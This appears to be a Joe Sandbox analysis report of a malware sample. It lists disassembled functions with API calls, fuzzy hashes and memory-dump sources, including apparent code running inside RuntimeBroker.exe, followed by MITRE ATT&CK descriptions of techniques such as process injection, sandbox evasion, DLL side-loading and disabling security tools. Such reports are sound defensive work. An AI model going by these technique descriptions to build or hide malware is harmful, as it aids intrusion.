Function 00007FF651793F5C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF651793F88
GetCurrentThreadId.KERNEL32 ref: 00007FF651793F96
GetCurrentProcessId.KERNEL32 ref: 00007FF651793FA2
QueryPerformanceCounter.KERNEL32 ref: 00007FF651793FB2

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 5cb9591401710e660a825713dcc64f818a20f48456534f9fba00a5c7d4122e34
Instruction ID: 19cc7922a78d14c0783c3f76b8ad6c19e1b92b5e932b3fc799b56b37cf522d55
Opcode Fuzzy Hash: 5cb9591401710e660a825713dcc64f818a20f48456534f9fba00a5c7d4122e34
Instruction Fuzzy Hash: 71113322B14F0589EB00CF78E8652B833A4FB19758F480D31DA6DD6759DF7CD1688340

Function 00007FF651793EE8 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba47d34bbe3b7e9c4939e468852733ce2b193c4c4515983354e78054b495e4d2
Instruction ID: bbf76487ba0a3b81785ca1a2020b121ab6fea55803bc3dd03fa423a8fa47c9cd
Opcode Fuzzy Hash: ba47d34bbe3b7e9c4939e468852733ce2b193c4c4515983354e78054b495e4d2
Instruction Fuzzy Hash: 0AA0022290CC57E0E7048B2DE9734302330EF54700B9D0032C41DE186A9FBCE88DC340

Function 00007FF651792120 Relevance: 10.7, APIs: 7, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6517921D2

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: fgetc
String ID:
API String ID: 2807381905-0
Opcode ID: 2e99d3806bb1f5b3d0ff0c945178925e562c3c7a06867b70d4d84469f2ffba43
Instruction ID: 4875918be15a97626bae6040a34152555a74c5604e8b9e0ce4185178829f14d3
Opcode Fuzzy Hash: 2e99d3806bb1f5b3d0ff0c945178925e562c3c7a06867b70d4d84469f2ffba43
Instruction Fuzzy Hash: AE818D32B18A4199EB00DF69D4902AC37B4FB48B68F581236DF5DA3B99DF38D598C310

Function 00007FF651792E60 Relevance: 10.6, APIs: 7, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF651792E8D
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF651792EA7
?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF651792ED9
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF651792F04
std::_Facet_Register.LIBCPMT ref: 00007FF651792F1D
??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF651792F3C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF651792F67

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Concurrency::cancel_current_taskFacet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@std::_
String ID:
API String ID: 762505753-0
Opcode ID: 4534c48d6121e506176395aa0da307aa7327604ad8d467125341fd00de69631c
Instruction ID: c69bd7f68d94ac67eb76d93672902e6152822779defa1a7e6584270d8dd5ba2b
Opcode Fuzzy Hash: 4534c48d6121e506176395aa0da307aa7327604ad8d467125341fd00de69631c
Instruction Fuzzy Hash: 3E315472A08B4591EB149F19E4641697360FB88F94F4C0632EB9EA77AEDF3CE459C700

Function 00007FF651792840 Relevance: 9.2, APIs: 6, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140(?,?,?,00007FF651791015), ref: 00007FF6517928AA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00007FF651791015), ref: 00007FF651792930
memmove.VCRUNTIME140(?,?,?,00007FF651791015), ref: 00007FF651792956
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65179297A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,00007FF651791015), ref: 00007FF6517929D8
??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF651792A41

Part of subcall function 00007FF651793340: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0000000100000000,00007FF65179293C,?,?,?,00007FF651791015), ref: 00007FF65179335A

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnmemmove$??1?$basic_streambuf@Concurrency::cancel_current_taskD@std@@@std@@U?$char_traits@malloc
String ID:
API String ID: 4151065855-0
Opcode ID: 061e06aae32766b36eb5e371fb9f0ada9feb0741a7736276d232d951b532adef
Instruction ID: bcdf2a91c3494de5b310c0d4e0b9174bbdb1cc50204ce345f03049e229af28a3
Opcode Fuzzy Hash: 061e06aae32766b36eb5e371fb9f0ada9feb0741a7736276d232d951b532adef
Instruction Fuzzy Hash: 3F51E162B0974581EB14AB29E46437C22A4EB05FF4F684731DA7DA73DADF3CD48A8300

Function 00007FF6517930E0 Relevance: 9.1, APIs: 6, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140 ref: 00007FF6517931F6
memmove.VCRUNTIME140 ref: 00007FF651793204
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF651793242
memmove.VCRUNTIME140 ref: 00007FF65179324C
memmove.VCRUNTIME140 ref: 00007FF65179325A
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF651793290

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2016347663-0
Opcode ID: fc0a6e5bffcc4cd51f555edc60534f8265a9eb00ebb660565df8606e8137ac2e
Instruction ID: a82c1fbbbc1792f007c22357a6cd4554199ccc0bce8a630ec491707e68a35d0f
Opcode Fuzzy Hash: fc0a6e5bffcc4cd51f555edc60534f8265a9eb00ebb660565df8606e8137ac2e
Instruction Fuzzy Hash: 8A41A262B18A4191EF10DB2AE5286BD6361EB44FE0F584732DE6D97BDADE3CD049C304

Function 00007FF651792F70 Relevance: 6.1, APIs: 4, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memmove.VCRUNTIME140 ref: 00007FF651793051
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65179308E
memmove.VCRUNTIME140 ref: 00007FF651793098
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6517930CB

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2016347663-0
Opcode ID: 022bf48b0be6360237c50bed30530884a305a30fd38d806b1d6d9e03fd545b1d
Instruction ID: 27221ade752dc7086922b364e635b6d24aecbf94b0d8e283a8f0eb50790ee2b2
Opcode Fuzzy Hash: 022bf48b0be6360237c50bed30530884a305a30fd38d806b1d6d9e03fd545b1d
Instruction Fuzzy Hash: 2631F021B0868194EF149F3EA65476D6362EB04FE0F584235DAAD97BCEDE3CE059C300

Function 00007FF651792560 Relevance: 6.1, APIs: 4, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.4613468560.00007FF651791000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF651790000, based on PE: true

Associated: 00000000.00000002.4613413590.00007FF651790000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613516419.00007FF651795000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613548696.00007FF651798000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4613583934.00007FF651799000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff651790000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9d034aa6b88396eae2df4aade8b45d2a44d5a469a2b1ac91a975ef6a8dadbee
Instruction ID: 17d863296a818fb28884febc5a4a1096e8e00ea34215ddcf2218550a307ae349
Opcode Fuzzy Hash: c9d034aa6b88396eae2df4aade8b45d2a44d5a469a2b1ac91a975ef6a8dadbee
Instruction Fuzzy Hash: 31517132608B8185DB108F2DE4603ADB3A4FB84B94F584236DA9D97BADDF3CC448C740

Analysis Process: RuntimeBroker.exePID: 3420, Parent PID: 4976COMMON

Execution Graph

Execution Coverage:	18.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD34770498 Relevance: 4.1, Strings: 3, Instructions: 371
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

O_^2, xrefs: 00007FFD34770762
O_^;, xrefs: 00007FFD3477076A
O_^D, xrefs: 00007FFD34770772

Memory Dump Source

Source File: 00000003.00000002.4616695677.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd34770000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: O_^2$O_^;$O_^D
API String ID: 0-1588794792
Opcode ID: a949e8dd27fced4ffa256a4959919ec35c6c69d91597f1b0af7e4ad49d9f7b0a
Instruction ID: ff6b72b203469a46ac0912c1f58a1e58dc4d17f896dd941c22f25cd1c9da243f
Opcode Fuzzy Hash: a949e8dd27fced4ffa256a4959919ec35c6c69d91597f1b0af7e4ad49d9f7b0a
Instruction Fuzzy Hash: CCB19797B0D9D26BE621B3BD68B61FE3F84DF8323D74841B7D18CD9093DC08645A8296

Function 00007FFD347704B8 Relevance: 4.1, Strings: 3, Instructions: 356
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

O_^2, xrefs: 00007FFD34770762
O_^;, xrefs: 00007FFD3477076A
O_^D, xrefs: 00007FFD34770772

Memory Dump Source

Source File: 00000003.00000002.4616695677.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd34770000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: O_^2$O_^;$O_^D
API String ID: 0-1588794792
Opcode ID: bc6e6e0d9f1256c483c3b60e9ae2e279a8cb7b16b5621dda30c90fc2c248de73
Instruction ID: f124b2de91e7d3ff9c5f9e0c70c6c0425087e4eb6450cae8472894f259548941
Opcode Fuzzy Hash: bc6e6e0d9f1256c483c3b60e9ae2e279a8cb7b16b5621dda30c90fc2c248de73
Instruction Fuzzy Hash: 40B19997B0D9D26BE621B3BD68B61FE3F84DF8323974841B7D1CCD9093DC08645A8295

Function 00007FFD34770530 Relevance: 4.1, Strings: 3, Instructions: 301
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

O_^2, xrefs: 00007FFD34770762
O_^;, xrefs: 00007FFD3477076A
O_^D, xrefs: 00007FFD34770772

Memory Dump Source

Source File: 00000003.00000002.4616695677.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd34770000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: O_^2$O_^;$O_^D
API String ID: 0-1588794792
Opcode ID: 881c10ede67154e54113404ceed2c6371271f375660a0274d87b33dc4e073bcf
Instruction ID: 5dcc79e673d783581eea5144d416f19aec45ae3d9e2eb54e199eba9f943ec326
Opcode Fuzzy Hash: 881c10ede67154e54113404ceed2c6371271f375660a0274d87b33dc4e073bcf
Instruction Fuzzy Hash: 7C91C997B0D9D26BE621B3BD68B61FE3F84DF8323974841B7D1CCD9093DC08645A8295

Function 00007FFD34770670 Relevance: 3.9, Strings: 3, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

O_^2, xrefs: 00007FFD34770762
O_^;, xrefs: 00007FFD3477076A
O_^D, xrefs: 00007FFD34770772

Memory Dump Source

Source File: 00000003.00000002.4616695677.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd34770000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: O_^2$O_^;$O_^D
API String ID: 0-1588794792
Opcode ID: fb64f9719a1c969cb48e8da406db2d600f7184f515a988992424db6fa93f7648
Instruction ID: 6d94760af954cb65a61be1889f0f49a8951a842681782254ef9d52034af90c36
Opcode Fuzzy Hash: fb64f9719a1c969cb48e8da406db2d600f7184f515a988992424db6fa93f7648
Instruction Fuzzy Hash: 1C41B9A3A0D6C55FE761E67C58BA1FA3FC4DF5322874800FAC08DDA183EC4864569386

Function 00007FFD34770600 Relevance: 1.8, Strings: 1, Instructions: 582
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,, xrefs: 00007FFD3477849A

Memory Dump Source

Source File: 00000003.00000002.4616695677.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd34770000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: f82289c6b82892f114bd39858939fad171493d3a6d8bd266d4e184ae876146b9
Instruction ID: e25488a1ffa20ebb05ec3724d82cae318552f2d39864055c33000a0fccc08c1f
Opcode Fuzzy Hash: f82289c6b82892f114bd39858939fad171493d3a6d8bd266d4e184ae876146b9
Instruction Fuzzy Hash: 8712C471B1890A8FEB98EB6CC4A56B977E2FF99300F544579D14EC3292DE78B8418780

Function 00007FFD347759A6 Relevance: .5, Instructions: 474
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.4616695677.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd34770000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8ec1cff9bf08303fb5973fa625f122e9d36cddd9da7d3ec1af747c6370b6e5
Instruction ID: c9560f1cd32ee9875110fbf4fc6a3f90df500b93ed09faf2df21b8072d2330ee
Opcode Fuzzy Hash: 2a8ec1cff9bf08303fb5973fa625f122e9d36cddd9da7d3ec1af747c6370b6e5
Instruction Fuzzy Hash: C9F1A670608A4E8FEBA8DF28C8957F93BD1FF55310F44826EE84DC7691CB78A9458781

Function 00007FFD34776752 Relevance: .5, Instructions: 460
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.4616695677.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd34770000_RuntimeBroker.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4d0a39d88d4b33a67576dc10f5039de6ccc6f89f709158c367ae3a58dff8ae2
Instruction ID: 45a5b68ee2545f534ef61581bdb4778f0b129bd9361b3d7d9daae22277c7f372
Opcode Fuzzy Hash: c4d0a39d88d4b33a67576dc10f5039de6ccc6f89f709158c367ae3a58dff8ae2
Instruction Fuzzy Hash: B1E1B470A08A4D8FEBA8DF28C8657F97BD1EF55310F54826ED84DC7295CE78A8448BC1

Function 00007FFD34777FBD Relevance: 1.6, APIs: 1, Instructions: 142
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD3477809A

Memory Dump Source

Source File: 00000003.00000002.4616695677.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd34770000_RuntimeBroker.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1939c90f3a6584f3f0e783bc4029d80350b73912bd0555d94d493c719f45791d
Instruction ID: 7cfd5671d958888a829ad94fcd1dccbda59c3ba18dd41148b580c94c7d876a80
Opcode Fuzzy Hash: 1939c90f3a6584f3f0e783bc4029d80350b73912bd0555d94d493c719f45791d
Instruction Fuzzy Hash: 8B41E73190C7888FDB199B689C566EDBFE0EF97321F0442AFD049D3192CA786816C792

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

